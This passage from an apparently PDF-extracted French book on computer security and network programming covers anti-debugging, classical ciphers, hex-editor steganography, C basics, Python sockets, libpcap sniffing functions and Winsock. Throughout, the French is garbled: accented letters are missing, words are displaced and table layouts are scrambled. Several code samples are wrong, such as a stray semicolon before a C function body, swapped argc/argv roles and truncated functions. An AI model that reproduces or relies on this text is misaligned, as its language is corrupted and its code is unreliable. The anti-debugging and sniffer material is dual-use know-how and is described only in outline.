Le polymorphisme qui consiste modifier l' aspect du code peut aussi tre utilis pour rendre illisible le code pour un ventuel cracker. Cela peut passer par la cration d' une routine de chiffrement et de dchiffrement du code de l' excutable.

les codes anti-debugging :


Voici certaines astuces protgeant un logiciel du dbogage ou de la d-compilation : - la 1re mthode, consiste rechercher la prsence dun dboggeur ou d' un dsassembleur en mmoire ou sur le systme. - La 2me mthode consiste analyser ce qu' utilise les commandes des dboggeurs Exemples : la commande bpx utilise l' interruption 3h, pour contrer cette commande, il va falloir aller dtourner l' interruption pour qu chaque fois qu' est utilise un code que l' aura cr soit excut. elle on

Parades :
Il n' a pas de parade proprement dite contre l' y analyse les programmes l' de la aide rtro ingnierie. Car cela peut aller du cryptage du programme l' PE encrypteurs aide l' utilisation de code anti-debbugging.

155

156

Cryptologie

157

Les procds cryptographiques existent depuis dj des centaines d' annes. La premire occurrence remonte Jules Csar qui, d' aprs ce que l' dit, utilisait le on chiffrement par dcalage. Le vrai essor de la cryptographie (la science o l' tudie on les procds cryptographique mais aussi leur cration et leur scurit vis--vis d' environnements spcifiques) dbute aux deux guerres mondiales quand de grands mathmaticiens mirent en oeuvre leurs connaissances pour produire des algorithmes servant chiffrer des messages.

les bases de la cryptographie :


Qu' est-ce qu' algorythme cryptographique ? un C' une suite logique de formules mathmatiques qui servent pouvoir chiffrer un est texte clair puis pouvoir dchiffrer le texte chiffr l' de ce que l' appelle des aide on cls. Pour ceux qui prfre les formules mathmatiques : soit CHcl( ) : l' opration de chiffrement l' de la cl (note cl ), DEcl( ) : l' aide opration de dchiffrements l' de la cl, xt : le texte clair et yt : le texte clair ayant t chiffr : aide
-

CHcl(xt) = yt DEcl(yt) = xt DEcl(CHcl(xt)) = xt

le chiffrement par dcalage :


Dans ce chiffrement, le but va tre d' ajouter + cl aux correspondances numriques des lettres du texte clair en noubliant pas les modulos: (mod 26). Ici cl est un chiffre que lmetteur choisi ou non avec le destinataire. Le dchiffrement va consister faire l' opration inverse : donc une soustraction puis le modulo. Mathmatiquement, cela revient faire :
- CHcl(xt) = xt + cl mod 26 - DEcl(yt) = yt cl mod 26

Ici, xt et yt correspondent chaque caractre des textes clairs et chiffrs dont la reprsentation numrique s' tend de 0 25 soit [ 0, m-1 ] pour tre plus gnrale. ( m reprsente le nombre de caractres de lalphabet dans lequel on fait la conversion

158

).

le chiffrement affine :
Le chiffrement affine et le chiffrement par dcalage ont la mme souche, le mme base : la substitution. Pour le comprendre leurs similitudes, analysons les fonctions de cryptage et dcryptage du chiffrement affine. Soit xt un caractre du texte clair et yt un caractre du texte chiffr :
- CHcl(xt) = a.xt + b mod 26 - DEcl(yt) = 1/a (yt b) mod 26

Avant de terminer cette partie sur le chiffrement affine, nous allons voir la manire dont on calcul le nombre de cls possibles pour crypter un message avec ce chiffrement. Tout dpend de m car, dans un premier temps, il va nous falloir calculer les valeurs possibles de a lorsque le pgcd (a, m) = 1 (aidez vous du thorme de Bezout) . Il ne faut retenir que les valeurs de a comprise entre [ 0, m-1 ]. Ensuite il va falloir compter le nombre de valeurs retenues. Pour finir, il faut multiplier le rsultat prcdent par m. Le produit est le nombre de cls possibles. Gnralement m = 26 ( les 26 lettres de l' alphabet ).

chiffrement par substitution :


Malgr le nom de ce chiffrement qui ferait penser procder cryptographique complexe, le chiffrement par substitution consiste en la cration d' suite une alphabtique choisi avec le destinataire (et n' tant pas dans l' ordre conventionnel : A, B, C, , X,Y,Z) . Ensuite il va falloir superposer cette suite sur lalphabet normal (dans l' ordre conventionnel) et faire les transformations.

chiffrement par permutation :


Contrairement au chiffrement par substitution, on va seulement couper le message transmettre ( xt ) en bloc de lettres de mme taille et inter-changer leur place grce des rgles pralablement tablient

chiffrement en chane :
Dans les chiffrements classiques, on utilise une cl statique pour chiffrer et dchiffrer chaque caractre des textes. Dans un chiffrement en chane, la cl change chaque caractre car il y a eu une gnration d' nombre de cls gale au nombre de un caractres dans le message. Mathmatiquement, cela se traduit par
CHcl(xt) = yt

159

et
DEcl(yt) = xt

pour les chiffrements par blocs et par


CHk(xt) = yt

et
DEk(yt) = xt

pour les chiffrements en chane; soit k une cl changeant chaque caractre donc chaque utilisation de la cl. Il existe 2 types de chiffres en chane : le chiffrement synchrone et le chiffrement asynchrone. Pour plus d' informations sur les diffrents types de chiffrement et sur la cryptographie en gnral, rfrez-vous des livres traitant de ce sujet. Car cela dpasse le cadre de ce livre.

Cryptanalyse
La cryptanalyse est un domaine de la cryptologie o l' essaie de trouver une faille on dans un systme cryptographique dans le but de dcouvrir la cl utilise ou de lire le texte clair. La cryptanalyse est aussi utilise pour vrifier la sret d' algorithme un cryptographique. La cryptanalyse d' algorithme cryptographique peut dbuter partir de n' un importe quel support, les plus connus sont : - texte chiffr connu: o il va falloir analyser le texte dans le but de dcouvrir sa correspondance en clair l' de techniques de aide cryptanalyse que nous allons voir, - texte clair et chiffre connu: o l' va essayer l' des 2 textes de on aide dcouvrir la cl et lalgorithme, - texte clair et un accs direct ou indirect l algorithme: dans le but de comprendre le fonctionnement de l algorithme, - texte chiffr choisi et un accs direct ou indirect l' algorithme: pour pouvoir comprendre le fonctionnement de lalgorithme. Maintenant, nous allons voir deux techniques de cryptanalyse : l' analyse des frquences : il va falloir compter le nombre d' apparitions de chaque lettre de l' alphabet dans le(s) texte(s) chiffr(s) et les comparer avec les probabilits d' apparition de chaque lettre de la langue du texte clair en se basant sur des tableaux de frquences.

160

l' analyse diffrentielle : elle ne peut tre pratique quen possession ou en ayant un accs directe ou indirecte l' algorithme cryptographique, il va falloir choisir un texte clair comprenant, au mieux, toutes les lettres de l' alphabet et voir aprs passage dans l' algorithme sa correspondance en crypt.

Les algorithmes cryptographiques


Il existe plusieurs algorithmes de cryptographie (comme le DES, le AES et le 3DES) qui sont diviss en 2 familles.

les algorithmes de cryptographie symtriques (ACS) :


Ce sont des algorithmes qui vont utiliser la mme cl pour chiffrer et dchiffrer le message voulant tre crypt.

les algorithmes de cryptographie asymtriques (ACA) :


Contrairement aux ACS, le ACA vont utiliser 2 cls diffrentes: une pour chiffrer, lautre pour dchiffrer. La cl de chiffrement est appele cl publique et sert crypter les messages. La cl de dchiffrement est appele cl prive et sert dchiffrer les messages crypts avec la cl publique. Ces 2 cls sont mathmatiquement lies. Cest pour cela quon ne peut dchiffrer un message ayant t chiffr avec une cl publique nappartenant pas la personne qui lon envoie le message.

La stganographie
La stganographie est un domaine de la cryptographie o lon va cacher les donnes transmettre une/des personne(s) dans des fichiers qui paraissent anodins (comme les images) Pour crire des messages dans une image, il va falloir un diteur hexadcimal et limage choisie. Ouvrez limage avec lditeur hexadcimal, recherchez les zones de padding (une suite de chiffres 0 dans la zone hexadcimale) et remplacez-les par le message voulu (cela peut parfois dgrader limage). Cela peut aussi marcher avec des excutables (qui contiennent de trs grandes suites de 0).

161

Pour apporter un peu plus de scurit nos messages cachs, vous pouvez crypter ces derniers avant de les cacher. Vous pouvez maintenant envoyer des messages cachs (et crypts). Pour pouvoir retrouver le message, votre destinataire va devoir ouvrir limage (ou autre), avec un diteur hexadcimal, se rendre loffset o vous avez plac le message et lire ce dernier. Maintenant, vous pouvez envoyer des messages cachs, les mettre sur des sites (par exemple comme arrire-plan dune page pour que votre/vos destinataire(s) puissent y accder). De plus cette mthode est pratiquement indtectable car trs peu de personnes samusent ouvrir avec un diteur hexadcimal, une image quils trouvent: surtout quand ce sont des images utilises comme arrire-plan de pages web.

162

163

Partie III : Programmation rseau

164

Dans cette partie du livre, nous allons voir les bases de la programmation rseau. En premier, il y aura un aide-mmoire du language C qui survolera les notions les plus importantes. Pour apprendre ce language trs important, je vous conseille vivement de vous procurer un livre sur le C. Le language C est un language compil et de haut niveau qui est trs puissant et a entre autre servit dvelopper les systmes UNIX / LINUX. Ce language a t cr par Denis Richie. En deuxime, il y aura une prsentation des principales fonctions rseaux de Python. Le language Python est un language interprt et de haut niveau. Il est aussi orient objet (comme le C++). Il est simple dapprentissage et dutilisation. En troisime, on verra quelques fonctions de la libpcap. Pour finir, il y aura 2 chapitres sur Winsock.

165

166

Le language C
Structure dun programme en C
Le code source dun programme C suit certaines rgles de structuration facilitant les activits du pr-processeur et du compilateur. Nous allons tudier cette structuration laide dun programme.
# include <stdio.h> void afficheur(char a); { char t = a; printf( %c\n , t); } main( ) { char a; printf ( Entrez un caractre:\n ) ; scanf ( %c , &a) ; afficheur (a) ; return 0 ; }

Un programme en C commence toujours par lutilisation des directives du prprocesseur (un programme qui va conditionner la compilation). La directive utilise ici demande au pr-processeur dinclure le fichier den-tte pass en argument. Puis on a dclar une fonction qui accepte un argument et qui a pour but de lafficher laide de printf( ) qui est dfini dans le fichier den-tte. Pour finir, on entre dans la fonction principale : main( ). Cette fonction est obligatoire car les programmes commencent et finissent par elle ; de plus, cest partir de cette fonction que lon appelle les fonctions dclares et dfinies avant main( ). On peut parfois passer des arguments main( ) (lorsque lon appelle les programmes partir dun shell par exemple). Pour les rcuprer, on va utiliser argc et argv : - argc a comme valeur le nombre dargument pass main( ). argc ne peut tre infrieur 1 car le nom du programme est toujours envoy.

167

Exemple :

argv[] est un tableau contenant les caractres passs comme arguments. argv[0] est le nom du programme.

int main(int argv,char*argc[]) { if(argv <= 1 || argv > 4) { } if(argc>3) { dest =gethostbyname(argc[1]);

Les bases
Les commentaires
Commenter ses codes de programmes est trs important surtout si lon souhaite pouvoir lamliorer dans les semaines ou annes qui suivent son criture ou si lon souhaite le publier sous la licence GPL. Cela permet de savoir quoi sert telle ou telle partie du code. Pour commenter son code, le C nous propose 2 lments dont voici les syntaxes : Syntaxe : Syntaxe :
/* Ceci est un commentaire */ // est un commentaire

Le premier offre la possibilit dtaler son commentaire sur plusieurs lignes. Le deuxime ne peut tenir que sur une ligne et suit une instruction.

Les types de donnes


void Types Reprsentation cest un type vide (en fait, cela veut dire que llment auquel il est associ na pas de type). Il est beaucoup utilis avec les fonctions et avec certains types de pointeurs. type utilis pour les caractres.

char

168

wchar_t int float double long int short int long double

type utilis pour les caractres longs. type utilis pour les entiers. type utilis pour les rels. type utilis pour les rels tant en double prcision. type utilis pour les entiers longs. type utilis pour les entiers courts. type utilis pour les rels tant en quadruple prcision.

Chaque type peut tre sign ( signed ) ou non sign ( unsigned ).

les variables
Quest-ce-quune variable ? Et bien, une variable est une suite de caractres significatifs pointant vers une zone mmoire contenant des donnes (valeur de la variable) et allant tre utilises par le programme. La suite de caractres utilise pour identifier la variable suit certaines conventions : - elle doit tre alphanumrique et peut contenir le caractre de soulignement bas ( _ ). - les mots cls utiliss par le C (instructions, fonctions) ne peuvent tre utiliss comme nom de variable. - la 1re lettre de la variable ne peut tre un chiffre. La dernire convention est plus une particularit du language C, elle concerne la casse que respecte le C. Cela veut dire que ce dernier fait la diffrence entre les minuscules et les majuscules. Exemple :
language , Language et LANGUAGE dsignent 3 variables diffrentes.

Dclaration et initialisation
Pour dclarer des variables (ce qui est obligatoire avant de les utiliser, sinon la compilation on verra apparatre un beau petit message derreur), on doit crire le type de la variable suivi de son nom. Syntaxe :
type nom_de_la_variable ;

Pour initialiser une variable, il faut utiliser loprateur daffectation qui est le signe gal ( = ). A la gauche de loprateur doit se trouver la variable, la droite, la valeur que doit contenir la variable.

169

Syntaxe :

nom_de_la_variable = valeur ;

Pour information, on peut dclarer puis initialiser les variables ou faire ces 2 actions simultanment.

Les types de variables


Il existe plusieurs types de variables. Nous allons en voir 2 : les constantes et les registres. Une constante est une variable spciale. Sa particularit est que sa valeur ne change pas tout au long du programme. Pour dclarer des constantes, il faut suivre le modle suivant : Syntaxe :
const type nom_de_la_variable;

Parfois, il vaut mieux placer une variable dans lun des registres du processeur au lieu de le placer en mmoire. Cela est possible grce au mot cl register . Pour dclarer une variable registre, il faut suivre le modle suivant : Syntaxe :
register type nom_de_la_variable;

La porte des variables


En fonction de lendroit o elle est dclare, une variable peut tre accessible ou non par les fonctions du programme. Il existe principalement 2 types de variables : les globales et les locales. Les variables globales (ou encore externes ) sont des variables indpendantes de toutes fonctions : leur porte stend donc lensemble du programme (qui doit tenir sur un seul fichier source sinon il faudrait utiliser un autre type de variables). Elles sont accessibles par toutes les fonctions. Alors que les variables locales sont dpendantes dune fonction. Seule cette fonction peut y accder.

Les tableaux
Un tableau est un lment presque semblable aux variables. Similitudes - Ils sont identifis (rfrencs) Diffrences - les tableaux pointent vers un

170

par des noms. - Les noms utiliss pour les identifier suivent les mmes rgles de cration.

groupe de zones mmoires (o chaque lment est accessible laide dun numro qui dtermine sa place dans le tableau).

Il existe diffrents types de tableaux : - les tableaux une dimension. - les tableaux plusieurs dimensions. Pour dclarer un tableau, il faut suivre le modle suivant : Syntaxe :
type nom_du_tableau[x];

Soit x le nombre maximal dlments dans le tableau.

Instructions
Le test if: Syntaxe Explications Il permet de faire un saut conditionnel. Cela veut dire que si le test russi, le programme va excuter les instructions dans le bloc puis continuer jusqu la fin de main( ), sinon il continu le programme sans excuter le bloc. Permet de faire un saut conditionnel. Cela veut dire que si le test russi, le programme va excuter les instructions du bloc 1 puis continuer jusqu la fin de main( ), sinon il va excuter les instructions du bloc 2 puis continuer jusqu la fin de main( ). Permet de faire un saut conditionnel. On fait plusieurs tests : linstruction excut est celui qui suit directement le test qui est vrai.

if (test) { bloc_instructions; }

Le test if et la clause else :


if (test) { bloc_instructions1; }else{ bloc_instructions2; }

Le test if et la clause else if :


if (test) instructions1; else if (test2) instructions2;

La boucle for :
for (debut; fin; pas) instruction;

ou

Permet de faire une boucle qui va excuter une instruction ou un bloc dinstructions un nombre dtermin de fois. Cest une instruction puissante et utile.

171

for (debut; fin; pas) { bloc_instructions; }

La boucle while :
while (condition) instruction;

ou
while (condition) { bloc_instructions; }

Permet de faire une boucle qui va excuter une instruction ou un bloc dinstruction tant que la condition est vraie.

La boucle do/while :
do instruction; while (condition);

ou
do { bloc_instructions; } while (condition);

Permet de faire une boucle qui va excuter une instruction ou un bloc dinstructions tant que la condition est vraie. Sa particularit est quelle excute linstruction ou le bloc dinstruction avant que la condition soit teste.

Pour information, la boucle while fait linverse de do/while : elle teste la condition avant dexcuter linstruction ou le bloc dinstruction.

Les notions avances


Les pointeurs
Un pointeur est une variable spciale: sa valeur est en fait ladresse mmoire dune autre variable. Pour faire plus court: un pointeur est une variable qui pointe vers une autre variable. Pour dclarer un pointeur, il faut suivre le modle suivant : Syntaxe :
type *nom_du_pointeur;

Pour information, pour accder aux lments suivant et prcdant llment que pointe le pointeur, il faut incrmenter/dcrmenter le pointeur laide de + + ou -Syntaxes :
pointeur++

ou

pointeur--

Quelques prcisions :

172

ladresse dune variable. *nom_du_pointeur : est un pointeur qui pointe vers le contenu dune variable. &nom_du_pointeur : retourne ladresse de la variable.

nom_du_pointeur : est un pointeur qui pointe vers

Les structures
Une structure est un lment qui permet de regrouper des variables, des tableaux Ces derniers seront utiliss pour accomplir certaines tches spcifiques. Les structures sont trs souvent utilises pour enregistrer des donnes quelconques et de types diffrents. Pour dfinir une structure, il faut suivre le modle suivant : Syntaxe :
struct nom { variable1; variable2; }

On ne peut pas encore utiliser la structure car on la seulement dfinie : il faut la dclarer. Et oui! nom nest pas une variable structure, on peut le considrer comme un type. Pour dclarer une variable structure, il faut suivre le modle suivant : Syntaxe :
struct nom var1[,var2,];

Les variables dclares dans une structure sont appeles membres dune structure . Lorsque lon veut accder aux membres dune structure, il faut utiliser loprateur point ( . ). Syntaxe :
var1.membre_name;

Pour information, il existe dautres types de structures dont : - les structures qui ont comme membres dautres structures. - les tableaux de structures. La particularit de ces structures est que chaque lment du tableau de structures est une structure. De quoi donner des migraines lors de ltude de codes sources intgrant ces types de structures.

173

Maintenant, voyons dautres lments semblables aux structures: les unions. Leur particularit est que lon accde leurs membres un un, alors que lon peut accder aux membres dune structure en mme temps. Pour dfinir des unions, il faut suivre le modle suivant : Syntaxe :
union nom { variable1; variable2; }

Pour les dclarer, il faut suivre le modle suivant : Syntaxe :


union nom var1[,var2,];

Le pr-processeur
Le pr-processeur C travaille avant le compilateur. Il a pour but de traiter les directives se trouvant au dbut du code source. Voyons diverses directives :
#define x y #undef x #include <xxx>

premiere_condition #elif deuxieme_condition #else #endif

#if

spcifie au pr-processeur de remplacer x par y dans le code source. spcifie au pr-processeur de ne plus remplacer x par y dans le code source. spcifie au pr-processeur dinclure des fichiers au code source. Gnralement se sont des fichiers den-tte qui sont inclus. Comme linstruction if/else. Ces directives spcifie au compilateur (par lintermdiaire du pr-processeur) de faire telles ou telles actions en fonction du test effectu. Par exemple : elles permettent de compiler des parties du code en fonction de la nature du systme dexploitation (Windows, linux).

Les fonctions

174

Une fonction est une suite de code qui est crit pour un but prcis, qui est identifie (rfrence) par un nom et qui a la particularit dapporter une certaine modularit dans le code. Notions importantes sur les fonctions: Il existe dj des fonctions spcifiques au C (comme printf( )). Leur nom ne peut donc tre utilis pour nommer nos propres fonctions. Une fonction peut accepter ou non des arguments. Une fonction peut renvoyer ou non des lments. On passe les arguments la fonction lors de son appel. Une fonction est soit itrative (les instructions sexcutent la suite) soit rcursives (la fonction peut sappeler).

175

176

Python et les sockets


Voici une petite liste (dans lordre alphabtique) des mthodes quutilisent les sockets. Car le language Python est orient objet et supporte donc les notions de classes, polymorphisme comme le language C++. Voici cette liste :
socket.accept() socket.bind(addresse) socket.close() socket.connect(addresse) socket.fileno() socket.gethostbyname(hostname) socket.gethostname() socket.getpeername() socket.getsockname() socket.getsockopt() socket.listen(max_connexions) socket.recv(data_size) socket.recvfrom(data_size) socket.send(donnes) socket.sendto(donnes, addresse_distante) socket.setblocking(flag) socket.setsockopt() socket(socket_famille, type[, protocole])

socket.accept()
Cette mthode accepte une connexion sur le socket.
Exemple : sock_client,adr = socket.accept()

socket.bind(adresse)
Cette mthode affecte un nom et un port un socket.
Exemple : socket.bind(("",1024))

socket.close()
Cette mthode ferme un socket.

socket.connect(adresse)

177

Cette mthode permet un client de se connecter un serveur.


Exemple : socket.connect(("serveur.com",1024))

socket.fileno()
Cette mthode retourne un descripteur de fichier.

socket.gethostbyname(hostname)
Cette mthode permet dobtenir ladresse IP de la machine qui appartient le nom dhte pass en argument.

socket.gethostname()
Cette mthode permet dobtenir le nom de la machine sur laquelle elle est employe.

socket.getpeername()
Cette mthode retourne le nom de la machine se trouvant lautre extrmit du socket.

socket.getsockname()
Cette mthode permet dobtenir ladresse et le port utilis par le socket. Il renvoie ces lments sous forme de liste : (ipadr, port).

socket.getsockopt()
Cette mthode permet dobtenir les options du socket.

socket.listen(max_connexions)
Cette mthode permet de forcer un serveur couter un port dans lattente dune connexion. Largument pass la fonction est le nombre de connexions que doit accepter le serveur.
Exemple : socket.listen(10)

178

socket.recv(data_size)
Cette mthode permet de recevoir des donnes de la machine se trouvant lautre bout du socket. Largument pass la fonction est la taille des donnes devant tre rcupres.
Exemple : tm = s.recv(1024)

socket.recvfrom(data_size)
Comme la prcdente mais sutilise avec le protocole UDP.

socket.send(donnes)
Cette mthode permet denvoyer des donnes la machine se trouvant lautre bout du socket.

socket.sendto(donnes, addresse_distante)
Comme la prcdente mais sutilise avec le protocole UDP. Le deuxime argument pass la fonction est ladresse qui va recevoir les donnes.

socket.setblocking(flag)
Affecte au socket les modes blocking ou nonblocking.

socket.setsockopt()
Cette mthode permet de mettre des options sur le socket.

socket(socket_famille, type[, protocole])


Cette fonction cr un socket. La famille de socket est gnralement AF_INET. Les types de sockets sont gnralement : - SOCK_STREAM (tcp) - SOCK_DGRAM (udp) - SOCK_RAW (pour les raw sockets).

179

180

La libpcap
Nous allons ensemble voir quelques fonctions rseau que nous fournit la libpcap. Cette bibliothque de fonctions a t dveloppe par le groupe ayant cr le clbre sniffer TCPdump.

char pcap_lookupdev(char *err);


Elle retourne le nom de linterface rseau pouvant tre utilise par la fonction pcap_open_live(). Le paramtre de la fonction est un message derreur expliquant que la fonction na pas russie si cette dernire ne peut dfinir linterface.

int pcap_lookupnet(char *dev, bpf_u_int32 *net, bpf_u_int32 *mask, char *err);


le 1er paramtre est la variable contenant linterface rseau utiliser. Le 2me est un pointeur sur un entier de type bpf_u_int. Cet entier va contenir ladresse rseau de linterface choisie. Le 3me est aussi un pointeur sur un entier de type bpf_u_int. Cet entier va contenir ladresse du masque rseau de linterface choisie. Le 4me est une chane derreur. A lappel de cette fonction, les paramtres 2 et 3 auront une valeur, pas avant !

pcap_t *pcap_open_live(char *dev, int snaplen, int promisc, int to_ms, char *err);
Le 1er paramtre doit tre une chane contenant linterface rseau choisie. Le 2me est le nombre maximum doctets capturer sur les paquets passant par linterface: donc par le sniffer. Le 3me paramtre permet de mettre ou non linterface rseau en mode promiscuit. Le 4me paramtre permet de spcifier un timeout de lecture des paquets. Le 5me paramtre est une chane contenant un message derreur.

181

Il y a une autre fonction pratiquement semblable pcap_open_live( ): cest pcap_t *pcap_open_offline(const char *file, char *err); qui met les paquets capturs dans un fichier que lon pourra consulter aprs la capture. Avant pcap_open_live() on voit un lment nouveau qui est en faite une structure dfinie dans pcap.h. Cette structure comme vous avez du le remarquer est : pcap_t.

void pcap_close(pcap_t );
Cette fonction arrte la capture de paquets partir du descripteur pass en argument la fonction.
void pcap_close(pcap_t *p) { /*XXX*/ if (p->fd >= 0) { #ifdef linux pcap_close_linux(p); #endif close(p->fd); } if (p->sf.rfile != NULL) { if (p->sf.rfile != stdin) (void)fclose(p->sf.rfile); if (p->sf.base != NULL) free(p->sf.base); } else if (p->buffer != NULL) free(p->buffer); pcap_freecode(&p->fcode); free(p);

int pcap_loop(pcap_t, int cnt, pcap_handler callback, u_char *user_data);


Cette fonction lit cnt paquets du descripteur de paquets pcap_t puis passe le tout la fonction callback avec comme argument user_data . callback traitera le paquet et laffichera si le dveloppeur de lapplication le souhaite.
int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user) { register int n; for (;;) { if (p->sf.rfile != NULL)

182

else {

n = pcap_offline_read(p, cnt, callback, user); /* * XXX keep reading until we get something * (or an error occurs) */ do { n = pcap_read(p, cnt, callback, user); } while (n == 0);

} if (n <= 0) return (n); if (cnt > 0) { cnt -= n; if (cnt <= 0) return (0); }

const u_char* pcap_next(pcap_t *p, struct pcap_pkthdr *header);


Cest cette fonction qui va nous permettre de capturer les paquets aprs que la fonction pcap_open_live( ) est t utilise. Le 1er paramtre est le descripteur utilis avec la fonction pcap_open_live( ) . Le 2me paramtre est un pointeur sur une structure qui va contenir les en-ttes du paquet captur. Cette structure est dfinie dans le fichier pcap.h. Voici de quoi elle se compose :
struct pcap_pkthdr { struct timeval ts; bpf_u_int32 caplen; bpf_u_int32 len; }; /* time stamp */ /* length of portion present */ /* length this packet (off wire) */

const u_char * pcap_next(pcap_t *p, struct pcap_pkthdr *h) { struct singleton s; s.hdr = h; if (pcap_dispatch(p, 1, pcap_oneshot, (u_char*)&s) <= 0) return (0); return (s.pkt);

int pcap_stats(pcap_t *p, struct pcap_stat *stat);

183

Cette fonction nous fournit quelques informations sur les paquets capturs. Ce sont des informations comme le nombre de paquets reus par le logiciel de capture et le nombre de paquets dropps par le logiciel de capture. Le 1er paramtre est le descripteur utilis pas la fonction pcap_open_live( ) . Le 2me paramtre est une structure qui va contenir les informations retournes par la fonction. Pour savoir de quelles informations il en retourne, remontez de quelques lignes. Voici comment se prsente cette structure :
struct pcap_stat { u_int ps_recv; u_int ps_drop; u_int ps_ifdrop; }; /* number of packets received */ /* number of packets dropped */ /* drops by interface XXX not yet supported */

int pcap_compile(pcap_t *p, struct bpf_program *filter_t, char *filter_str, int optimize, bpf_u_int32 netmask);
Cette fonction permet de crer un filtre pour paquets. Il compile la chane de filtre contenue dans filter_str et la met dans la structure struct bpf_program *filter_t dfinie dans le fichier bpf.h et dont voici le code :
struct bpf_program { u_int bf_len; struct bpf_insn *bf_insns; };

Si int optimize est mis 1 (true), le filtre produit est optimis. Le dernier paramtre est une variable contenant le masque rseau de linterface choisi dont le descripteur est pcap_t *p.

int pcap_setfilter(pcap_t *p, struct bpf_program *filter_t);


Cette fonction associe le descripteur de capture pcap_t *p avec la structure contenant le filtre.
int pcap_setfilter(pcap_t *p, struct bpf_program *fp) { if (install_bpf_program(p, fp) < 0) return (-1); return (0);

184

On vient de voir les principales fonctions de la libpcap. Normalement, arm de ces informations, vous devriez tre capable de dvelopper un sniffer voir plus

Avant de finir ce chapitre, voici un aperu des fonctions de la libpcap. La disposition na t ni choisie ni faite au hasard, cest la disposition adopte dans pcap.h.
char *pcap_lookupdev(char *); int pcap_lookupnet(char *, bpf_u_int32 *, bpf_u_int32 *, char *); pcap_t *pcap_open_live(char *, int, int, int, char *); pcap_t *pcap_open_dead(int, int); pcap_t *pcap_open_offline(const char *, char *); void pcap_close(pcap_t *); int pcap_loop(pcap_t *, int, pcap_handler, u_char *); int pcap_dispatch(pcap_t *, int, pcap_handler, u_char *); const u_char* pcap_next(pcap_t *, struct pcap_pkthdr *); int pcap_stats(pcap_t *, struct pcap_stat *); int pcap_setfilter(pcap_t *, struct bpf_program *); int pcap_getnonblock(pcap_t *, char *); int pcap_setnonblock(pcap_t *, int, char *); void pcap_perror(pcap_t *, char *); char *pcap_strerror(int); char *pcap_geterr(pcap_t *); int pcap_compile(pcap_t *, struct bpf_program *, char *, int, bpf_u_int32); int pcap_compile_nopcap(int, int, struct bpf_program *, char *, int, bpf_u_int32); void pcap_freecode(struct bpf_program *); int pcap_datalink(pcap_t *); int pcap_snapshot(pcap_t *); int pcap_is_swapped(pcap_t *); int pcap_major_version(pcap_t *); int pcap_minor_version(pcap_t *); FILE int *pcap_file(pcap_t *); pcap_fileno(pcap_t *);

pcap_dumper_t *pcap_dump_open(pcap_t *, const char *); void pcap_dump_close(pcap_dumper_t *); void pcap_dump(u_char *, const struct pcap_pkthdr *, const u_char *); int void u_int int char void pcap_findalldevs(pcap_if_t **, char *); pcap_freealldevs(pcap_if_t *); bpf_filter(struct bpf_insn *, u_char *, u_int, u_int); bpf_validate(struct bpf_insn *f, int len); *bpf_image(struct bpf_insn *, int); bpf_dump(struct bpf_program *, int);

185

186

Winsock
Winsock est une API de Microsoft qui permet de dvelopper des applications TCP et UDP (grce Winsock 2) de bas niveau avec les sockets streams (pour Winsock 1.1) ou les raw sockets (pour Winsock 2).

Winsock 1.1
Les applications rseaux cres avec Winsock 1.1 suivent le mme schmas que ceux cres avec dautres bibliothques de fonctions rseaux. La seule particularit est quavant de crer le socket, il faut initialiser winsock. Voici le schmas de crations : Serveur
On initialise Winsock \/ On crer le socket \/ On renomme le socket \/ On le met sur coute \/ On accepte la connexion \/ On gre les requtes du/des client(s)

Client
On initialise Winsock \/ On crer le socket \/ On le connecte au serveur \/ On envoie nos requtes

On va commencer par voir les fonctions quutilise(nt) le(s) client(s). Dabord sachez que pour faire fonctionner les applications winsock, il vous faut : - winsock.h - wsock32.lib

Client
On initialise Winsock Pour initialiser Winsock, il faut la fonction : WSAStartup( ). Sa syntaxe est la suivante : int WSAStartup (WORD wVersionRequired, LPWSADATA lpWSAData); Le 1er argument est la version de Winsock que lon veut utiliser (soit 1.1 ici).

187

Le 2me argument est ladresse dune structure de type WSAData qui est dfinie dans winsock.h.
typedef struct WSAData { WORD wVersion; WORD wHighVersion; char szDescription[WSADESCRIPTION_LEN+1]; char szSystemStatus[WSASYS_STATUS_LEN+1]; unsigned short iMaxSockets; unsigned short iMaxUdpDg; char FAR *lpVendorInfo; } WSADATA;

Voici un exemple de cette fonction :


WORD wVersionRequired ; LPWSADATA lpWSAData; wVersionRequested = MAKEWORD(1,1); init = WSAStartup(wVersionRequested, &WSAData);

On crer le socket Pour crer le socket, on utilise la fonction : socket( ). Sa syntaxe est la suivante : SOCKET socket (int af, int type, int protocol); Le 1er argument est la famille du socket (gnralement cest AF_INET. Les autres familles sont prsentes dans winsock.h). Le 2me argument est le type de socket (il y a SOCK_STREAM, SOCK_DGRAM : ils sont dfinis dans winsock .h). Le 3me argument est le protocole utilis (il y a IPPROTO_IP, IPPROTO_ICMP : ils sont dfinis dans winsock.h). Avant dutiliser la fonction socket, il nous faut remplir une structure de type sockaddr_in.
struct sockaddr_in { short sin_family; u_short sin_port; struct in_addr sin_addr; char sin_zero[8]; };

Voici un exemple de cette fonction :

188

SOCKET socket; struct sockaddr_in sin; sin.sin_addr.s_addr sin.sin_family sin.sin_port = htonl(inaddr_any); = AF_INET; = htons(xx);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

En cas dchec lors de la cration du socket, socket( ) renvoie : INVALID_SOCKET. Avant de passer la fonction suivante, voyons un petit lment (ou plutt une fonction) : htons( ). Cette fonction permet de placer les octets du port dans le mme ordre dans chaque architecture. Pour information, chaque architecture PC traite de manires diffrentes les octets, soit elles placent dabord le byte de poids faible puis celui de poids fort (little endian) soit elles placent celui de poids fort pour terminer avec celui de poids faible (big endian). Cela dpasse le cadre de ce livre donc on ne sy attardera pas. Il existe dautres fonctions de ce type dfinies dans winsock.h (comme toujours) :
u_long u_short u_long u_short htonl(u_long htons(u_short ntohl(u_long ntohs(u_short hostlong); hostshort); netlong); netshort);

On connecte le socket au serveur Pour faire cela, on utilise la fonction : connect( ). Sa syntaxe est la suivante : int connect (SOCKET s, const struct sockaddr FAR *name, int namelen); Le 1er argument est le descripteur de socket. Le 2me argument est une structure de type sockaddr.
struct sockaddr { u_short sa_family; /* address family */

char sa_data[14];
};

/* up to 14 bytes of direct address */

Le 3me argument est la taille de la structure de type sockaddr. Voici un exemple de cette fonction :

189

connect(socket, (sockaddr *)&structure, sizeof(struct sockaddr));

